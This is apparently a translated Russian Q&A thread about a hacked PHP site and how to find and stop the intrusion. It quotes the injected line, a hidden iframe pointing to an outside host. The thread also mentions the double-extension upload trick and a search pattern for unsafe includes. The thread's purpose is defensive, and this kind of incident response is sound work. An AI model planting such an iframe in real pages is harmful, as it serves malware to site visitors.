Возможный дубликат:
Мой сервер был взломан в АВАРИИ
кто-то вторгается на наш сайт и помещает следующую строку на нашей главной странице (index.php) :: В следующем коде bottom.php - это наш собственный файл, и злоумышленник помещает "echo <iframe .... >;"
линия между нашим кодом "include_once".
<?include_once('bottom.php'); echo "<iframe src=\"http://clydaib.net/?click=86B26\" width=1 height=1 style=\"visibility:hidden;position:absolute\"></iframe>"; ?>
пожалуйста, помогите мне предотвратить это вторжение.
Версия PHP 5.2.9, система: Linux hansens 2.4.32-grsec-opteron-peon-1.1.1 # 1 SMP Пт 21 декабря 15:45:17 PST 2007 i686
Первое, что вам следует сделать, если вы еще этого не сделали, - заблокировать сервер настолько, насколько это реально возможно, пока вы определяете причину. В идеальном мире я бы отключил машину от сети, пока узнаю, что происходит.
Попробуйте определить, в чем была причина этого (простите за каламбур). Если это какая-то атака по http, выясните, откуда она взялась и что еще могло быть взломано. Может быть, это компромисс всей коробки?
Вашему ядру около 2 лет, ваш PHP не самый современный для этой ветки. Я думаю, ваша установка apache тоже не является. Вы используете для сайта установленный пакет типа CMS? Это актуально? Вы удалили каталоги для установки? Какие разрешения у файлов?
Если бы это был я:
Это может быть чрезмерной реакцией на вашу проблему, но пока вы не узнаете масштаб «порчи», вы не будете знать, как далеко зайти.
Сначала проверьте журналы передачи FTP на index.php и проверьте IP-адреса подключений - они из другой страны, например, Китая, России и т. Д. Если это правда - измените пароль FTP, очистите сайт и просканируйте все компьютеры, на которых пароль был использован / сохранен. Очень часто вредоносные программы крадут сохраненный пароль или включают кейлоггер, которые отправляются злоумышленнику и используются для того, чтобы сайты распространяли / размещали вредоносное ПО. Также помните, что FTP отправляет все пароли в виде открытого текста, поэтому не используйте его в открытых Wi-Fi или других ненадежных сетях.
если это не сработает, поищите на сайте: а) скрипты загрузки файлов. Проверьте пути к файлам / валидацию пути. Кроме того, проверьте, действительно ли подтвержден тип файла, а не только расширение. У Apache mod mime есть небезопасная «функция», поэтому такие файлы, как evilscript.php.gif, будут выполняться как php. Ссылка:
«Следует проявлять осторожность, когда файл с несколькими расширениями связывается как с MIME-типом, так и с обработчиком. Обычно это приводит к тому, что запрос выполняется модулем, связанным с обработчиком. Например, если расширение .imap сопоставлено с обработчик imap-файла (из mod_imap) и расширение .html сопоставляется с MIME-типом text / html, тогда файл world.imap.html будет связан как с обработчиком imap-файла, так и с MIME-типом text / html . Когда он обрабатывается, будет использоваться обработчик imap-файла, и поэтому он будет рассматриваться как файл изображения mod_imap. "
Решение: отключить php в каталогах, куда перемещаются загруженные файлы.
б) включить | require (_once). Их можно использовать для удаленного включения файлов, поэтому злоумышленник может написать php-скрипт, который будет выполняться на сервере и может изменять / удалять файлы. Найдите что-то вроде include ($ _GET | $ _POST | $ _COOKIE | $ _REQUEST | $ _SERVER) (.? *) Решение: отключите remote_fopen, если они не нужны вашему сайту. В противном случае выполните такую же правильную проверку ввода (что было бы разумно :). Также я предлагаю отключить register_globals.
c) Проверенные пользовательские / удаленные файлы. Помните, что вводимые пользователем данные могут находиться в базе данных.
Также проверьте свой сайт на наличие загруженных бэкдоров, так называемых «оболочек». Самый безопасный вариант - это восстановить из известной безопасной резервной копии :)
Есть много способов сделать это. Есть ли какое-либо поле ввода на вашей главной странице или (другое), которое может быть неправильно проанализировано на предмет попыток использования эксплойтов?
Сначала сделайте файлы PHP доступными для чтения веб-сервером, но не для записи. Во-вторых, проверьте различные поля ввода на предмет возможного использования.
это довольно популярно в последнее время, когда вредоносные программы крадут сохраненные пароли [чаще всего от total commander] и отправляют эти учетные данные в командный центр. позже другие машины подключаются через ftp, загружают index.php / html и добавляют вредоносные js / php. все автоматизировано.
Способ ограничить атаки на веб-приложения в apache - загрузить и настроить mod_security.
Ссылка: посмотрите это Представляем mod_security статья